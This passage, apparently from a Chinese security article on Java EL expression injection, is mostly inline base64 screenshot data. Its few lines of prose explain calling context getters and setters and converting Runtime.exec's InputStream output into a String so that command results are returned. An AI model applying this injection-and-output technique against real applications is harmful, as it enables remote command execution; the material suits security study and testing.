BuKLL75A586dS/WBoziEQiGioqKwYsUKHD58uFTWb+zYsVi2bFnJC0dERESkYj7aGvqXL19izpw5WLduXakE8iICgQC5ubnFmjYnJwfbtm3DwoULERMTU2plAoDTp0/j9OnT6NatGxYuXAhbW9tSnb+iHjx4gO+++w579+4tlUBeRCAQlNq8iIiIiFTJR9ko9ujRowgNDcXixYtLNZgvqcTERKxYsaLUg/n89uzZg/DwcERERJTZMqQRCoXYunUrWrdujU2bNpVqME9ERET0MfuoAnqhUIiVK1diwIABuHjxYkUXp8Jcv34do0ePxr59+8pleQKBANOnT8eIESNw7969clkmERER0cfio0m5ycnJwaJFizB79myla4cdHBxgbGwMAHj16hXi4uLKoITKKWmZ7t27h6lTp8LU1BQBAQFlUMI86enpmDJlClauXKn0tK6uruIehJ4/f65Ug2AiIiKij8VHEdALhUIsXbpUoWBeX18fvr6+6NGjB1q1agUbG5tCjUiFQiFevHiBS5cuISIiAhEREbh9+3aZlb927dpo164d2rdvDx8fH9SpU6dQjy5CoRBPnz7F6dOnsWfPHhw9erTIdKLbt29j+fLlcHd3L5MuLgUCAaZNm6ZQMG9kZITWrVujW7duCAwMlLqOOTk5SExMxL///otDhw4hMjKSQT4RERF99D6KgH7Xrl1YvHix3GBeX18fnTt3xqRJk+Du7i53fmpqaqhVqxbatm2Ltm3bQigU4urVq1i6dCnS09NLrdxNmjTBiBEj0L17dxgaGhZZJgsLC/Tu3Ru9e/fGgwcP8O2332LLli1ypzt8+DD27duHTz/9tNTKDeQ9YKxYsQIbNmyQO56RkREGDhyIr776qsielTQ0NGBtbQ1ra2t07doVOTk5OHPmDBYtWgR19Y8qe4yIiIhIrMp3WxkVFYWhQ4fKrUG3t7fHDz/8gK5du5a4L/N3795BW1u7WPN58uQJunXrhrS0NEybNg29evUq0ceTBAIBFixYgAULFsh9mGnXrh02b96MmjVrFntZBe3cuRPjxo2T25+/t7c3li1bBn9//xIvLyMjo1w/8EVERERUWVTpas3ExER8++23coN5X19f7NmzB926dSuVDxNVr169RPMJDAzEsWPHMGDAgBJ/CVVbWxuTJk3CoEGD5I539epVXLlypUTLyu/y5cuYPXu23GC+U6dO+P3330slmAfAYJ6IiIg+WlU2oBcKhfj555/x119/yRwnICAAmzZtQsOGDcuxZLJZW1tj0aJFsLKyKrV5amtrY8SIEWjcuLHMcRISEvDPP/+UyvIEAgFWrFiB69evyxynW7du2LBhQ6muJxEREdHHqsoG9FFRUXLzx52dnTFv3jw4ODiUY6kqhrOzM1q2bCl3nAcPHkAoFModRxF79uzBwYMHZQ4PCAjA/PnzSzW9h4iIiOhjViUDeoFAgI0bN8rs81xfXx9Tpkwp0+4aKxM1NTX4+vpCX19f5jgvXrxAWlpaiZbz4sULbN68GcnJyVKH29jY4LvvvvsoHqKIiIiIykuVDOiPHz+Ow4cPyxzeo0cP9O7duxxLVPEcHBxQt27dMl3Gnj17EBUVJXP4wIEDi3xTQERERETKqXIBfVZWFn7//XeZDTIbNGiAzz//vMQNTlVNzZo1y7ThaGpqKv744w+ZvekEBwdj2LBhpdLwmIiIiIj+U+UC+uvXr8utJW7Xrh0aNWpUfgX6SPz9998yG9bq6+ujR48esLCwKOdSEREREVV9VS6g//PPP2V2U+ns7IxevXqxllgKHR0daGlpFWvarKwsHDhwQGbuvKenJ8LDw0tSPCIiIiKSoUoF9MnJyfj7779lDg8ICECDBg3KsUSVR05ODnJzc2UOt7S0LHZKzoMHD3Dx4kWZw1u1agVLS8tizZuIiIiI5KtSAf21a9dk9n+ur6+PFi1aoFq1auVcqsohISEBL1++lDnc3d292PO+cOGCzA9T2djYIDAwsNjzJiIiIiL5qlRA//fffyMhIUHqMCcnJzRt2rScS1R5XL58Gffv35c6zM3Nrdgf18rKysKZM2dkDm/QoEGJHhaIiIiISL4qE9BnZGTg1q1bMoe7u7ujXr165VegSiQ1NVVuN54eHh5wdHQs9rzj4uJkDvf29uZHpIiIiIjKUJUJ6J88eSI3oHd1df1o020OHjyI06dPSx1mamqKPn36FDt//ubNm4iNjZU6TF9fHx4eHsWaLxEREREppsoE9Pfv30d8fLzUYaamph9tY9ioqCjMnz9fZv/wYWFhJfrY0927d2WmOdWtW5dfhSUiIiIqY5oVXYDScvv2bZndJlpZWcHOzk7mtAKBABcuXMChQ4cQHR2NxMRE3Lx5E0BeLbOtrS1q1aoFLy8vtGjRAi1atCjTjzSVlr///htffvmlzG48GzdujOnTp0NPT6/Yy7hx4
|
|||
|
|
<p>不过一般EL表达式注入不直接写赋值表达式从而保存在上下文中,而是直接调用上下文的getter和setter</p>
|
|||
|
|
<p><a id=img8 href=https://xzfile.aliyuncs.com/media/upload/picture/20240516160545-18d9791c-135b-1.png><img src="data:image/png;base64,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
|
|||
|
|
<h3 id=toc-3>3. 将exec的返回值InputStream转换成String</h3>
|
|||
|
|
<p>exec可以通过getInputStream()获取运行结果</p>
|
|||
|
|
<p><a id=img9 href=https://xzfile.aliyuncs.com/media/upload/picture/20240516160603-23b315fa-135b-1.png><img src="data:image/png;base64,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
|
|||
|
|
<p>但是要想将InputStream转换成String是个比较复杂的过程,jdk9以后提供了readAllBytes()可以直接返回byte[],9之前就<strong>需要多个类转换</strong>才能实现</p>
|
|||
|
|
<p><a id=img10 href=https://xzfile.aliyuncs.com/media/upload/picture/20240516160622-2ee3bc22-135b-1.png><img src="data:image/png;base64,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
|
|||
|
|
<p>而且用BufferedReader.readLine()还会存在一个循环体去处理多行返回值的情况,下列是一些常见的InputStream转String的办法</p>
|
|||
|
|
<p><a id=img11 href=https://xzfile.aliyuncs.com/media/upload/picture/20240516160729-57276e9a-135b-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAt4AAANmCAYAAADNeozzAAEAAElEQVR4nOzdd3gUVdvA4V9IL7tJCOlBCEWaIAQM8KoQAjaEIGIBQaTZCwSB71UBFVCUHhVFpVhoVjSgvKiEACoQMaAUqQmQHkqS3bRNNtnvjzjDbuompIA+93XlUnZmzpyZOTP7zJlnztqYTCYTQgghhBBCiAbVrKkrIIQQQgghxL+BBN5CCCGEEEI0Agm8hRBCCCGEaAQSeAshhBBCCNEIJPAWQgghhBCiEdg1RKFGo5HcvAIKCgsxGIowGo0YS4yYTGAD2NnZYWdnh6OjA85OTri6OmNv1yBVEUIIIYQQ4qpgU5/DCWbn6NDpcyk0FOHm6oyzszOODg442Ntha2uLjY0NJpOJkpISiouNFBYVUVBQQG5eAU6ODmg1bni4a+urOkIIIYQQQlw16iXwzsrRcfFSFk6OjrhrNWjcXGtdhj43jxydnkKDAa/mnnhKAC6EEEIIIf5BrijwLjQYyMi8gI2NDd5ezXF2drriChUUFHL+4iVMJhO+Pi1wcnS84jKFEEIIIYRoanUOvLNz9KRlZOLn690gvdNZOTrSM87j7+uDh7um3ssXQgghhBCiMdVpVJMLl7K4eCmL1tcFNlhKiKe7ltbXBXLxUhYXLmU1yDoU0dGb0WjdK/0b9dBodDpdg67/WpCcnEJY2ACmREY2yvqiozcTFjaA5OSURllfVZTtjo7e3KT1+KeJi4sjYtiwGo/vlMjIq+I8jI7ebFUddDodox4aXW17iYqKarTzSNHY5++1ztrjXVtRUVHVlhsXF0e3G7sTFRVVp/KjozfT7cbuxMXFXUk1a73OK7lWK+dMXbe5Ole6P6ZERtbr91BN172Ganfi6lLrwPvCpSz0+jxatQzA2enKU0uq4+zkRKuWAej1eQ0afEdEDEWvy0Gvy2Hd2rUMGTKElOQk9LocNqxfh1Yr+eZBQYHExu5g2dKl9V62NcFKY2mKoEhULioqioyMTFKSk66J8